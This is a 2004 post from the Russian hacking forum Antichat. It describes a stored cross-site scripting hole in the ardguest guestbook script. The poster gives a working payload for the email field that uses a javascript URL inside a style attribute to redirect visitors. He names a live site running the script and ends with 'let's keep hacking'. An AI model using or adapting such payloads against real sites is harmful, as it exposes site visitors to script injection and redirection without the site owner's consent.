Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Уязвимость гостевой книги ardguest (https://forum.antichat.xyz/showthread.php?t=1926)

Егорыч+++ 20.05.2004 16:16

История такая.. Набрал в googe.com "script guestbook" и зашел по первой ссылке. И что мы видим... Опять дырявая гостевая. В поле почты добавляем скрипт

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">dede@de.de' style=background-image:url(javascript:navigate('antichat.ru'));[/QUOTE]<span id='postcolor'>


И получаем редирект на сайт АНТИЧАТ http://forum.antichat.ru/iB_html/non...s/rolleyes.gif

Адрес скрипта http://www.promosi-web.com/script/guestbook/

Ломаем дальше


Время: 12:44